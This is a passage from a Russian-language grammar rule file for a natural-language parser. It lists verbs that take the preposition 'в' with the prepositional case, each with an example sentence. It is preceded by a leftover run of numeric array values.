-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// Сочетаемость глаголов (и отглагольных частей речи) с предложным
// паттерном.
// LC->07.08.2018
facts гл_предл language=Russian
{
arity=3
//violation_score=-5
generic
return=boolean
}
#define ГЛ_ИНФ(v) инфинитив:v{}, глагол:v{}
#region Предлог_В
// ------------------- С ПРЕДЛОГОМ 'В' ---------------------------
#region Предложный
// Глаголы и отглагольные части речи, присоединяющие
// предложное дополнение с предлогом В и сущ. в предложном падеже.
wordentry_set Гл_В_Предл =
{
rus_verbs:взорваться{}, // В Дагестане взорвался автомобиль
// вернуть после перекомпиляции rus_verbs:подорожать{}, // В Дагестане подорожал хлеб
rus_verbs:воевать{}, // Воевал во Франции.
rus_verbs:устать{}, // Устали в дороге?
rus_verbs:изнывать{}, // В Лондоне Черчилль изнывал от нетерпения.
rus_verbs:решить{}, // Что решат в правительстве?
rus_verbs:выскакивать{}, // Один из бойцов на улицу выскакивает.
rus_verbs:обстоять{}, // В действительности же дело обстояло не так.
rus_verbs:подыматься{},
rus_verbs:поехать{}, // поедем в такси!
rus_verbs:уехать{}, // он уехал в такси
rus_verbs:прибыть{}, // они прибыли в качестве независимых наблюдателей
rus_verbs:ОБЛАЧИТЬ{},
rus_verbs:ОБЛАЧАТЬ{},
rus_verbs:ОБЛАЧИТЬСЯ{},
rus_verbs:ОБЛАЧАТЬСЯ{},
rus_verbs:НАРЯДИТЬСЯ{},
rus_verbs:НАРЯЖАТЬСЯ{},
rus_verbs:ПОВАЛЯТЬСЯ{}, // повалявшись в снегу, бежать обратно в тепло.
rus_verbs:ПОКРЫВАТЬ{}, // Во многих местах ее покрывали трещины, наросты и довольно плоские выступы. (ПОКРЫВАТЬ)
rus_verbs:ПРОЖИГАТЬ{}, // Синий луч искрился белыми пятнами и прожигал в земле дымящуюся борозду. (ПРОЖИГАТЬ)
rus_verbs:МЫЧАТЬ{}, // В огромной куче тел жалобно мычали задавленные трупами и раненые бизоны. (МЫЧАТЬ)
rus_verbs:РАЗБОЙНИЧАТЬ{}, // Эти существа обычно разбойничали в трехстах милях отсюда (РАЗБОЙНИЧАТЬ)
rus_verbs:МАЯЧИТЬ{}, // В отдалении маячили огромные серые туши мастодонтов и мамонтов с изогнутыми бивнями. (МАЯЧИТЬ/ЗАМАЯЧИТЬ)
rus_verbs:ЗАМАЯЧИТЬ{},
rus_verbs:НЕСТИСЬ{}, // Кони неслись вперед в свободном и легком галопе (НЕСТИСЬ)
rus_verbs:ДОБЫТЬ{}, // Они надеялись застать "медвежий народ" врасплох и добыть в бою голову величайшего из воинов. (ДОБЫТЬ)
rus_verbs:СПУСТИТЬ{}, // Время от времени грохот или вопль объявляли о спущенной где-то во дворце ловушке. (СПУСТИТЬ)
rus_verbs:ОБРАЗОВЫВАТЬСЯ{}, // Она сузила глаза, на лице ее стала образовываться маска безумия. (ОБРАЗОВЫВАТЬСЯ)
rus_verbs:КИШЕТЬ{}, // в этом районе кишмя кишели разбойники и драконы. (КИШЕТЬ)
rus_verbs:ДЫШАТЬ{}, // Она тяжело дышала в тисках гнева (ДЫШАТЬ)
rus_verbs:ЗАДЕВАТЬ{}, // тот задевал в нем какую-то струну (ЗАДЕВАТЬ)
rus_verbs:УСТУПИТЬ{}, // Так что теперь уступи мне в этом. (УСТУПИТЬ)
rus_verbs:ТЕРЯТЬ{}, // Хотя он хорошо питался, он терял в весе (ТЕРЯТЬ/ПОТЕРЯТЬ)
rus_verbs:ПоТЕРЯТЬ{},
rus_verbs:УТЕРЯТЬ{},
rus_verbs:РАСТЕРЯТЬ{},
rus_verbs:СМЫКАТЬСЯ{}, // Словно медленно смыкающийся во сне глаз, отверстие медленно закрывалось. (СМЫКАТЬСЯ/СОМКНУТЬСЯ, + оборот с СЛОВНО/БУДТО + вин.п.)
rus_verbs:СОМКНУТЬСЯ{},
rus_verbs:РАЗВОРОШИТЬ{}, // Вольф не узнал никаких отдельных слов, но звуки и взаимодействующая высота тонов разворошили что-то в его памяти. (РАЗВОРОШИТЬ)
rus_verbs:ПРОСТОЯТЬ{}, // Он поднялся и некоторое время простоял в задумчивости. (ПРОСТОЯТЬ,ВЫСТОЯТЬ,ПОСТОЯТЬ)
rus_verbs:ВЫСТОЯТЬ{},
rus_verbs:ПОСТОЯТЬ{},
rus_verbs:ВЗВЕСИТЬ{}, // Он поднял и взвесил в руке один из рогов изобилия. (ВЗВЕСИТЬ/ВЗВЕШИВАТЬ)
rus_verbs:ВЗВЕШИВАТЬ{},
rus_verbs:ДРЕЙФОВАТЬ{}, // Он и тогда не упадет, а будет дрейфовать в отбрасываемой диском тени. (ДРЕЙФОВАТЬ)
прилагательное:быстрый{}, // Кисель быстр в приготовлении
rus_verbs:призвать{}, // В День Воли белорусов призвали побороть страх и лень
rus_verbs:призывать{},
rus_verbs:ВОСПОЛЬЗОВАТЬСЯ{}, // этими деньгами смогу воспользоваться в отпуске (ВОСПОЛЬЗОВАТЬСЯ)
rus_verbs:КОНКУРИРОВАТЬ{}, // Наши клубы могли бы в Англии конкурировать с лидерами (КОНКУРИРОВАТЬ)
rus_verbs:ПОЗВАТЬ{}, // Американскую телеведущую позвали замуж в прямом эфире (ПОЗВАТЬ)
rus_verbs:ВЫХОДИТЬ{}, // Районные газеты Вологодчины будут выходить в цвете и новом формате (ВЫХОДИТЬ)
rus_verbs:РАЗВОРАЧИВАТЬСЯ{}, // Сюжет фэнтези разворачивается в двух мирах (РАЗВОРАЧИВАТЬСЯ)
rus_verbs:ОБСУДИТЬ{}, // В Самаре обсудили перспективы информатизации ветеринарии (ОБСУДИТЬ)
rus_verbs:ВЗДРОГНУТЬ{}, // она сильно вздрогнула во сне (ВЗДРОГНУТЬ)
rus_verbs:ПРЕДСТАВЛЯТЬ{}, // Сенаторы, представляющие в Комитете по разведке обе партии, поддержали эту просьбу (ПРЕДСТАВЛЯТЬ)
rus_verbs:ДОМИНИРОВАТЬ{}, // в химическом составе одной из планет доминирует метан (ДОМИНИРОВАТЬ)
rus_verbs:ОТКРЫТЬ{}, // Крым открыл в Москве собственный туристический офис (ОТКРЫТЬ)
rus_verbs:ПОКАЗАТЬ{}, // В Пушкинском музее показали золото инков (ПОКАЗАТЬ)
rus_verbs:наблюдать{}, // Наблюдаемый в отражении цвет излучения
rus_verbs:ПРОЛЕТЕТЬ{}, // Крупный астероид пролетел в непосредственной близости от Земли (ПРОЛЕТЕТЬ)
rus_verbs:РАССЛЕДОВАТЬ{}, // В Дагестане расследуют убийство федерального судьи (РАССЛЕДОВАТЬ)
rus_verbs:ВОЗОБНОВИТЬСЯ{}, // В Кемеровской области возобновилось движение по трассам международного значения (ВОЗОБНОВИТЬСЯ)
rus_verbs:ИЗМЕНИТЬСЯ{}, // изменилась она во всем (ИЗМЕНИТЬСЯ)
rus_verbs:СВЕРКАТЬ{}, // за широким окном комнаты город сверкал во тьме разноцветными огнями (СВЕРКАТЬ)
rus_verbs:СКОНЧАТЬСЯ{}, // В Риме скончался режиссёр знаменитого сериала «Спрут» (СКОНЧАТЬСЯ)
rus_verbs:ПРЯТАТЬСЯ{}, // Cкрытые спутники прячутся в кольцах Сатурна (ПРЯТАТЬСЯ)
rus_verbs:ВЫЗЫВАТЬ{}, // этот человек всегда вызывал во мне восхищение (ВЫЗЫВАТЬ)
rus_verbs:ВЫПУСТИТЬ{}, // Избирательные бюллетени могут выпустить в форме брошюры (ВЫПУСТИТЬ)
rus_verbs:НАЧИНАТЬСЯ{}, // В Москве начинается «марш в защиту детей» (НАЧИНАТЬСЯ)
rus_verbs:ЗАСТРЕЛИТЬ{}, // В Дагестане застрелили преподавателя медресе (ЗАСТРЕЛИТЬ)
rus_verbs:УРАВНЯТЬ{}, // Госзаказчиков уравняют в правах с поставщиками (УРАВНЯТЬ)
rus_verbs:промахнуться{}, // в первой половине невероятным образом промахнулся экс-форвард московского ЦСКА
rus_verbs:ОБЫГРАТЬ{}, // "Рубин" сенсационно обыграл в Мадриде вторую команду Испании (ОБЫГРАТЬ)
rus_verbs:ВКЛЮЧИТЬ{}, // В Челябинской области включен аварийный роуминг (ВКЛЮЧИТЬ)
rus_verbs:УЧАСТИТЬСЯ{}, // В селах Балаковского района участились случаи поджогов стогов сена (УЧАСТИТЬСЯ)
rus_verbs:СПАСТИ{}, // В Австралии спасли повисшего на проводе коршуна (СПАСТИ)
rus_verbs:ВЫПАСТЬ{}, // Отдельные фрагменты достигли земли, выпав в виде метеоритного дождя (ВЫПАСТЬ)
rus_verbs:НАГРАДИТЬ{}, // В Лондоне наградили лауреатов премии Brit Awards (НАГРАДИТЬ)
rus_verbs:ОТКРЫТЬСЯ{}, // в Москве открылся первый международный кинофестиваль
rus_verbs:ПОДНИМАТЬСЯ{}, // во мне поднималось раздражение
rus_verbs:ЗАВЕРШИТЬСЯ{}, // В Италии завершился традиционный Венецианский карнавал (ЗАВЕРШИТЬСЯ)
инфинитив:проводить{ вид:несоверш }, // Кузбасские депутаты проводят в Кемерове прием граждан
глагол:проводить{ вид:несоверш },
деепричастие:проводя{},
rus_verbs:отсутствовать{}, // Хозяйка квартиры в этот момент отсутствовала
rus_verbs:доложить{}, // об итогах своего визита он намерен доложить в американском сенате и Белом доме (ДОЛОЖИТЬ ОБ, В предл)
rus_verbs:ИЗДЕВАТЬСЯ{}, // В Эйлате издеваются над туристами (ИЗДЕВАТЬСЯ В предл)
rus_verbs:НАРУШИТЬ{}, // В нескольких регионах нарушено наземное транспортное сообщение (НАРУШИТЬ В предл)
rus_verbs:БЕЖАТЬ{}, // далеко внизу во тьме бежала невидимая река (БЕЖАТЬ В предл)
rus_verbs:СОБРАТЬСЯ{}, // Дмитрий оглядел собравшихся во дворе мальчишек (СОБРАТЬСЯ В предл)
rus_verbs:ПОСЛЫШАТЬСЯ{}, // далеко вверху во тьме послышался ответ (ПОСЛЫШАТЬСЯ В предл)
rus_verbs:ПОКАЗАТЬСЯ{}, // во дворе показалась высокая фигура (ПОКАЗАТЬСЯ В предл)
rus_verbs:УЛЫБНУТЬСЯ{}, // Дмитрий горько улыбнулся во тьме (УЛЫБНУТЬСЯ В предл)
rus_verbs:ТЯНУТЬСЯ{}, // убежища тянулись во всех направлениях (ТЯНУТЬСЯ В предл)
rus_verbs:РАНИТЬ{}, // В американском университете ранили человека (РАНИТЬ В предл)
rus_verbs:ЗАХВАТИТЬ{}, // Пираты освободили корабль, захваченный в Гвинейском заливе (ЗАХВАТИТЬ В предл)
rus_verbs:РАЗБЕГАТЬСЯ{}, // люди разбегались во всех направлениях (РАЗБЕГАТЬСЯ В предл)
rus_verbs:ПОГАСНУТЬ{}, // во всем доме погас свет (ПОГАСНУТЬ В предл)
rus_verbs:ПОШЕВЕЛИТЬСЯ{}, // Дмитрий пошевелился во сне (ПОШЕВЕЛИТЬСЯ В предл)
rus_verbs:ЗАСТОНАТЬ{}, // раненый застонал во сне (ЗАСТОНАТЬ В предл)
прилагательное:ВИНОВАТЫЙ{}, // во всем виновато вино (ВИНОВАТЫЙ В)
rus_verbs:ОСТАВЛЯТЬ{}, // США оставляют в районе Персидского залива только один авианосец (ОСТАВЛЯТЬ В предл)
rus_verbs:ОТКАЗЫВАТЬСЯ{}, // В России отказываются от планов авиагруппы в Арктике (ОТКАЗЫВАТЬСЯ В предл)
rus_verbs:ЛИКВИДИРОВАТЬ{}, // В Кабардино-Балкарии ликвидирован подпольный завод по переработке нефти (ЛИКВИДИРОВАТЬ В предл)
rus_verbs:РАЗОБЛАЧИТЬ{}, // В США разоблачили крупнейшую махинацию с кредитками (РАЗОБЛАЧИТЬ В предл)
rus_verbs:СХВАТИТЬ{}, // их схватили во сне (СХВАТИТЬ В предл)
rus_verbs:НАЧАТЬ{}, // В Белгороде начали сбор подписей за отставку мэра (НАЧАТЬ В предл)
rus_verbs:РАСТИ{}, // Cамая маленькая муха растёт в голове муравья (РАСТИ В предл)
rus_verbs:похитить{}, // Двое россиян, похищенных террористами в Сирии, освобождены (похитить в предл)
rus_verbs:УЧАСТВОВАТЬ{}, // были застрелены два испанских гражданских гвардейца , участвовавших в слежке (УЧАСТВОВАТЬ В)
rus_verbs:УСЫНОВИТЬ{}, // Американцы забирают усыновленных в России детей (УСЫНОВИТЬ В)
rus_verbs:ПРОИЗВЕСТИ{}, // вы не увидите мясо или молоко , произведенное в районе (ПРОИЗВЕСТИ В предл)
rus_verbs:ОРИЕНТИРОВАТЬСЯ{}, // призван помочь госслужащему правильно ориентироваться в сложных нравственных коллизиях (ОРИЕНТИРОВАТЬСЯ В)
rus_verbs:ПОВРЕДИТЬ{}, // В зале игровых автоматов повреждены стены и потолок (ПОВРЕДИТЬ В предл)
rus_verbs:ИЗЪЯТЬ{}, // В настоящее время в детском учреждении изъяты суточные пробы пищи (ИЗЪЯТЬ В предл)
rus_verbs:СОДЕРЖАТЬСЯ{}, // осужденных , содержащихся в помещениях штрафного изолятора (СОДЕРЖАТЬСЯ В)
rus_verbs:ОТЧИСЛИТЬ{}, // был отчислен за неуспеваемость в 2007 году (ОТЧИСЛИТЬ В предл)
rus_verbs:проходить{}, // находился на санкционированном митинге , проходившем в рамках празднования Дня народного единства (проходить в предл)
rus_verbs:ПОДУМЫВАТЬ{}, // сейчас в правительстве Приамурья подумывают о создании специального пункта помощи туристам (ПОДУМЫВАТЬ В)
rus_verbs:ОТРАПОРТОВЫВАТЬ{}, // главы субъектов не просто отрапортовывали в Москве (ОТРАПОРТОВЫВАТЬ В предл)
rus_verbs:ВЕСТИСЬ{}, // в городе ведутся работы по установке праздничной иллюминации (ВЕСТИСЬ В)
rus_verbs:ОДОБРИТЬ{}, // Одобренным в первом чтении законопроектом (ОДОБРИТЬ В)
rus_verbs:ЗАМЫЛИТЬСЯ{}, // ему легче исправлять , то , что замылилось в глазах предыдущего руководства (ЗАМЫЛИТЬСЯ В)
rus_verbs:АВТОРИЗОВАТЬСЯ{}, // потом имеют право авторизоваться в системе Международного бакалавриата (АВТОРИЗОВАТЬСЯ В)
rus_verbs:ОПУСТИТЬСЯ{}, // Россия опустилась в списке на шесть позиций (ОПУСТИТЬСЯ В предл)
rus_verbs:СГОРЕТЬ{}, // Совладелец сгоревшего в Бразилии ночного клуба сдался полиции (СГОРЕТЬ В)
частица:нет{}, // В этом нет сомнения.
частица:нету{}, // В этом нету сомнения.
rus_verbs:поджечь{}, // Поджегший себя в Москве мужчина оказался ветераном-афганцем
rus_verbs:ввести{}, // В Молдавии введен запрет на амнистию или помилование педофилов.
прилагательное:ДОСТУПНЫЙ{}, // Наиболее интересные таблички доступны в основной экспозиции музея (ДОСТУПНЫЙ В)
rus_verbs:ПОВИСНУТЬ{}, // вопрос повис в мглистом демократическом воздухе (ПОВИСНУТЬ В)
rus_verbs:ВЗОРВАТЬ{}, // В Ираке смертник взорвал в мечети группу туркменов (ВЗОРВАТЬ В)
rus_verbs:ОТНЯТЬ{}, // В Финляндии у россиянки, прибывшей по туристической визе, отняли детей (ОТНЯТЬ В)
rus_verbs:НАЙТИ{}, // Я недавно посетил врача и у меня в глазах нашли какую-то фигню (НАЙТИ В предл)
rus_verbs:ЗАСТРЕЛИТЬСЯ{}, // Девушка, застрелившаяся в центре Киева, была замешана в скандале с влиятельными людьми (ЗАСТРЕЛИТЬСЯ В)
rus_verbs:стартовать{}, // В Страсбурге сегодня стартует зимняя сессия Парламентской ассамблеи Совета Европы (стартовать в)
rus_verbs:ЗАКЛАДЫВАТЬСЯ{}, // Отношение к деньгам закладывается в детстве (ЗАКЛАДЫВАТЬСЯ В)
rus_verbs:НАПИВАТЬСЯ{}, // Депутатам помешают напиваться в здании Госдумы (НАПИВАТЬСЯ В)
rus_verbs:ВЫПРАВИТЬСЯ{}, // Прежде всего было заявлено, что мировая экономика каким-то образом сама выправится в процессе бизнес-цикла (ВЫПРАВИТЬСЯ В)
rus_verbs:ЯВЛЯТЬСЯ{}, // она являлась ко мне во всех моих снах (ЯВЛЯТЬСЯ В)
rus_verbs:СТАЖИРОВАТЬСЯ{}, // сейчас я стажируюсь в одной компании (СТАЖИРОВАТЬСЯ В)
rus_verbs:ОБСТРЕЛЯТЬ{}, // Уроженцы Чечни, обстрелявшие полицейских в центре Москвы, арестованы (ОБСТРЕЛЯТЬ В)
rus_verbs:РАСПРОСТРАНИТЬ{}, // Воски — распространённые в растительном и животном мире сложные эфиры высших жирных кислот и высших высокомолекулярных спиртов (РАСПРОСТРАНИТЬ В)
rus_verbs:ПРИВЕСТИ{}, // Сравнительная фугасность некоторых взрывчатых веществ приведена в следующей таблице (ПРИВЕСТИ В)
rus_verbs:ЗАПОДОЗРИТЬ{}, // Чиновников Минкультуры заподозрили в афере с заповедными землями (ЗАПОДОЗРИТЬ В)
rus_verbs:НАСТУПАТЬ{}, // В Гренландии стали наступать ледники (НАСТУПАТЬ В)
rus_verbs:ВЫДЕЛЯТЬСЯ{}, // В истории Земли выделяются следующие ледниковые эры (ВЫДЕЛЯТЬСЯ В)
rus_verbs:ПРЕДСТАВИТЬ{}, // Данные представлены в хронологическом порядке (ПРЕДСТАВИТЬ В)
rus_verbs:ОБРУШИТЬСЯ{}, // В Северной Осетии на воинскую часть обрушилась снежная лавина (ОБРУШИТЬСЯ В, НА)
rus_verbs:ПОДАВАТЬ{}, // Готовые компоты подают в столовых и кафе (ПОДАВАТЬ В)
rus_verbs:ГОТОВИТЬ{}, // Сегодня компот готовят в домашних условиях из сухофруктов или замороженных фруктов и ягод (ГОТОВИТЬ В)
rus_verbs:ВОЗДЕЛЫВАТЬСЯ{}, // в настоящее время он повсеместно возделывается в огородах (ВОЗДЕЛЫВАТЬСЯ В)
rus_verbs:РАСКЛАДЫВАТЬ{}, // Созревшие семенные экземпляры раскладывают на солнце или в теплом месте, где они делаются мягкими (РАСКЛАДЫВАТЬСЯ В, НА)
rus_verbs:РАСКЛАДЫВАТЬСЯ{},
rus_verbs:СОБИРАТЬСЯ{}, // Обыкновенно огурцы собираются в полуспелом состоянии (СОБИРАТЬСЯ В)
rus_verbs:ПРОГРЕМЕТЬ{}, // В торговом центре Ижевска прогремел взрыв (ПРОГРЕМЕТЬ В)
rus_verbs:СНЯТЬ{}, // чтобы снять их во всей красоте. (СНЯТЬ В)
rus_verbs:ЯВИТЬСЯ{}, // она явилась к нему во сне. (ЯВИТЬСЯ В)
rus_verbs:ВЕРИТЬ{}, // мы же во всем верили капитану. (ВЕРИТЬ В предл)
rus_verbs:выдержать{}, // Игра выдержана в научно-фантастическом стиле. (ВЫДЕРЖАННЫЙ В)
rus_verbs:ПРЕОДОЛЕТЬ{}, // мы пытались преодолеть ее во многих местах. (ПРЕОДОЛЕТЬ В)
инфинитив:НАПИСАТЬ{ aux stress="напис^ать" }, // Программа, написанная в спешке, выполнила недопустимую операцию. (НАПИСАТЬ В)
глагол:НАПИСАТЬ{ aux stress="напис^ать" },
прилагательное:НАПИСАННЫЙ{},
rus_verbs:ЕСТЬ{}, // ты даже во сне ел. (ЕСТЬ/кушать В)
rus_verbs:УСЕСТЬСЯ{}, // Он удобно уселся в кресле. (УСЕСТЬСЯ В)
rus_verbs:ТОРГОВАТЬ{}, // Он торгует в палатке. (ТОРГОВАТЬ В)
rus_verbs:СОВМЕСТИТЬ{}, // Он совместил в себе писателя и художника. (СОВМЕСТИТЬ В)
rus_verbs:ЗАБЫВАТЬ{}, // об этом нельзя забывать даже во сне. (ЗАБЫВАТЬ В)
rus_verbs:поговорить{}, // Давайте поговорим об этом в присутствии адвоката
rus_verbs:убрать{}, // В вагонах метро для комфорта пассажиров уберут сиденья (УБРАТЬ В, ДЛЯ)
rus_verbs:упасть{}, // В Таиланде на автобус с российскими туристами упал башенный кран (УПАСТЬ В, НА)
rus_verbs:раскрыть{}, // В России раскрыли крупнейшую в стране сеть фальшивомонетчиков (РАСКРЫТЬ В)
rus_verbs:соединить{}, // соединить в себе (СОЕДИНИТЬ В предл)
rus_verbs:избрать{}, // В Южной Корее избран новый президент (ИЗБРАТЬ В предл)
rus_verbs:проводиться{}, // Обыски проводятся в воронежском Доме прав человека (ПРОВОДИТЬСЯ В)
безлич_глагол:хватает{}, // В этой статье не хватает ссылок на источники информации. (БЕЗЛИЧ хватать в)
rus_verbs:наносить{}, // В ближнем бою наносит мощные удары своим костлявым кулаком. (НАНОСИТЬ В + предл.)
rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА)
прилагательное:известный{}, // В Европе сахар был известен ещё римлянам. (ИЗВЕСТНЫЙ В)
rus_verbs:выработать{}, // Способы, выработанные во Франции, перешли затем в Германию и другие страны Европы. (ВЫРАБОТАТЬ В)
rus_verbs:КУЛЬТИВИРОВАТЬСЯ{}, // Культивируется в регионах с умеренным климатом с умеренным количеством осадков и требует плодородной почвы. (КУЛЬТИВИРОВАТЬСЯ В)
rus_verbs:чаять{}, // мама души не чаяла в своих детях (ЧАЯТЬ В)
rus_verbs:улыбаться{}, // Вадим улыбался во сне. (УЛЫБАТЬСЯ В)
rus_verbs:растеряться{}, // Приезжие растерялись в бетонном лабиринте улиц (РАСТЕРЯТЬСЯ В)
rus_verbs:выть{}, // выли волки где-то в лесу (ВЫТЬ В)
rus_verbs:ЗАВЕРИТЬ{}, // выступавший заверил нас в намерении выполнить обещание (ЗАВЕРИТЬ В)
rus_verbs:ИСЧЕЗНУТЬ{}, // звери исчезли во мраке. (ИСЧЕЗНУТЬ В)
rus_verbs:ВСТАТЬ{}, // встать во главе человечества. (ВСТАТЬ В)
rus_verbs:УПОТРЕБЛЯТЬ{}, // В Тибете употребляют кирпичный зелёный чай. (УПОТРЕБЛЯТЬ В)
rus_verbs:ПОДАВАТЬСЯ{}, // Напиток охлаждается и подаётся в холодном виде. (ПОДАВАТЬСЯ В)
rus_verbs:ИСПОЛЬЗОВАТЬСЯ{}, // в игре используются текстуры большего разрешения (ИСПОЛЬЗОВАТЬСЯ В)
rus_verbs:объявить{}, // В газете объявили о конкурсе.
rus_verbs:ВСПЫХНУТЬ{}, // во мне вспыхнул гнев. (ВСПЫХНУТЬ В)
rus_verbs:КРЫТЬСЯ{}, // В его словах кроется угроза. (КРЫТЬСЯ В)
rus_verbs:подняться{}, // В классе вдруг поднялся шум. (подняться в)
rus_verbs:наступить{}, // В классе наступила полная тишина. (наступить в)
rus_verbs:кипеть{}, // В нём кипит злоба. (кипеть в)
rus_verbs:соединиться{}, // В нём соединились храбрость и великодушие. (соединиться в)
инфинитив:ПАРИТЬ{ aux stress="пар^ить"}, // Высоко в небе парит орёл, плавно описывая круги. (ПАРИТЬ В)
глагол:ПАРИТЬ{ aux stress="пар^ить"},
деепричастие:паря{ aux stress="пар^я" },
прилагательное:ПАРЯЩИЙ{},
прилагательное:ПАРИВШИЙ{},
rus_verbs:СИЯТЬ{}, // Главы собора сияли в лучах солнца. (СИЯТЬ В)
rus_verbs:РАСПОЛОЖИТЬ{}, // Гостиница расположена глубоко в горах. (РАСПОЛОЖИТЬ В)
rus_verbs:развиваться{}, // Действие в комедии развивается в двух планах. (развиваться в)
rus_verbs:ПОСАДИТЬ{}, // Дети посадили у нас во дворе цветы. (ПОСАДИТЬ В)
rus_verbs:ИСКОРЕНЯТЬ{}, // Дурные привычки следует искоренять в самом начале. (ИСКОРЕНЯТЬ В)
rus_verbs:ВОССТАНОВИТЬ{}, // Его восстановили в правах. (ВОССТАНОВИТЬ В)
rus_verbs:ПОЛАГАТЬСЯ{}, // мы полагаемся на него в этих вопросах (ПОЛАГАТЬСЯ В)
rus_verbs:УМИРАТЬ{}, // они умирали во сне. (УМИРАТЬ В)
rus_verbs:ПРИБАВИТЬ{}, // Она сильно прибавила в весе. (ПРИБАВИТЬ В)
rus_verbs:посмотреть{}, // Посмотрите в списке. (посмотреть в)
rus_verbs:производиться{}, // Выдача новых паспортов будет производиться в следующем порядке (производиться в)
rus_verbs:принять{}, // Документ принят в следующей редакции (принять в)
rus_verbs:сверкнуть{}, // меч его сверкнул во тьме. (сверкнуть в)
rus_verbs:ВЫРАБАТЫВАТЬ{}, // ты должен вырабатывать в себе силу воли (ВЫРАБАТЫВАТЬ В)
rus_verbs:достать{}, // Эти сведения мы достали в Волгограде. (достать в)
rus_verbs:звучать{}, // в доме звучала музыка (звучать в)
rus_verbs:колебаться{}, // колеблется в выборе (колебаться в)
rus_verbs:мешать{}, // мешать в кастрюле суп (мешать в)
rus_verbs:нарастать{}, // во мне нарастал гнев (нарастать в)
rus_verbs:отбыть{}, // Вадим отбыл в неизвестном направлении (отбыть в)
rus_verbs:светиться{}, // во всем доме светилось только окно ее спальни. (светиться в)
rus_verbs:вычитывать{}, // вычитывать в книге
rus_verbs:гудеть{}, // У него в ушах гудит.
rus_verbs:давать{}, // В этой лавке дают в долг?
rus_verbs:поблескивать{}, // Красивое стеклышко поблескивало в пыльной траве у дорожки.
rus_verbs:разойтись{}, // Они разошлись в темноте.
rus_verbs:прибежать{}, // Мальчик прибежал в слезах.
rus_verbs:биться{}, // Она билась в истерике.
rus_verbs:регистрироваться{}, // регистрироваться в системе
rus_verbs:считать{}, // я буду считать в уме
rus_verbs:трахаться{}, // трахаться в гамаке
rus_verbs:сконцентрироваться{}, // сконцентрироваться в одной точке
rus_verbs:разрушать{}, // разрушать в дробилке
rus_verbs:засидеться{}, // засидеться в гостях
rus_verbs:засиживаться{}, // засиживаться в гостях
rus_verbs:утопить{}, // утопить лодку в реке (утопить в реке)
rus_verbs:навестить{}, // навестить в доме престарелых
rus_verbs:запомнить{}, // запомнить в кэше
rus_verbs:убивать{}, // убивать в помещении полиции (-score убивать неодуш. дом.)
rus_verbs:базироваться{}, // установка базируется в черте города (ngram черта города - проверить что есть проверка)
rus_verbs:покупать{}, // Чаще всего россияне покупают в интернете бытовую технику.
rus_verbs:ходить{}, // ходить в пальто (сделать ХОДИТЬ + в + ОДЕЖДА предл.п.)
rus_verbs:заложить{}, // диверсанты заложили в помещении бомбу
rus_verbs:оглядываться{}, // оглядываться в зеркале
rus_verbs:нарисовать{}, // нарисовать в тетрадке
rus_verbs:пробить{}, // пробить отверствие в стене
rus_verbs:повертеть{}, // повертеть в руке
rus_verbs:вертеть{}, // Я вертел в руках
rus_verbs:рваться{}, // Веревка рвется в месте надреза
rus_verbs:распространяться{}, // распространяться в среде наркоманов
rus_verbs:попрощаться{}, // попрощаться в здании морга
rus_verbs:соображать{}, // соображать в уме
инфинитив:просыпаться{ вид:несоверш }, глагол:просыпаться{ вид:несоверш }, // просыпаться в чужой кровати
rus_verbs:заехать{}, // Коля заехал в гости (в гости - устойчивый наречный оборот)
rus_verbs:разобрать{}, // разобрать в гараже
rus_verbs:помереть{}, // помереть в пути
rus_verbs:различить{}, // различить в темноте
rus_verbs:рисовать{}, // рисовать в графическом редакторе
rus_verbs:проследить{}, // проследить в записях камер слежения
rus_verbs:совершаться{}, // Правосудие совершается в суде
rus_verbs:задремать{}, // задремать в кровати
rus_verbs:ругаться{}, // ругаться в комнате
rus_verbs:зазвучать{}, // зазвучать в радиоприемниках
rus_verbs:задохнуться{}, // задохнуться в воде
rus_verbs:порождать{}, // порождать в неокрепших умах
rus_verbs:отдыхать{}, // отдыхать в санатории
rus_verbs:упоминаться{}, // упоминаться в предыдущем сообщении
rus_verbs:образовать{}, // образовать в пробирке темную взвесь
rus_verbs:отмечать{}, // отмечать в списке
rus_verbs:подчеркнуть{}, // подчеркнуть в блокноте
rus_verbs:плясать{}, // плясать в откружении незнакомых людей
rus_verbs:повысить{}, // повысить в звании
rus_verbs:поджидать{}, // поджидать в подъезде
rus_verbs:отказать{}, // отказать в пересмотре дела
rus_verbs:раствориться{}, // раствориться в бензине
rus_verbs:отражать{}, // отражать в стихах
rus_verbs:дремать{}, // дремать в гамаке
rus_verbs:применяться{}, // применяться в домашних условиях
rus_verbs:присниться{}, // присниться во сне
rus_verbs:трястись{}, // трястись в драндулете
rus_verbs:сохранять{}, // сохранять в неприкосновенности
rus_verbs:расстрелять{}, // расстрелять в ложбине
rus_verbs:рассчитать{}, // рассчитать в программе
rus_verbs:перебирать{}, // перебирать в руке
rus_verbs:разбиться{}, // разбиться в аварии
rus_verbs:поискать{}, // поискать в углу
rus_verbs:мучиться{}, // мучиться в тесной клетке
rus_verbs:замелькать{}, // замелькать в телевизоре
rus_verbs:грустить{}, // грустить в одиночестве
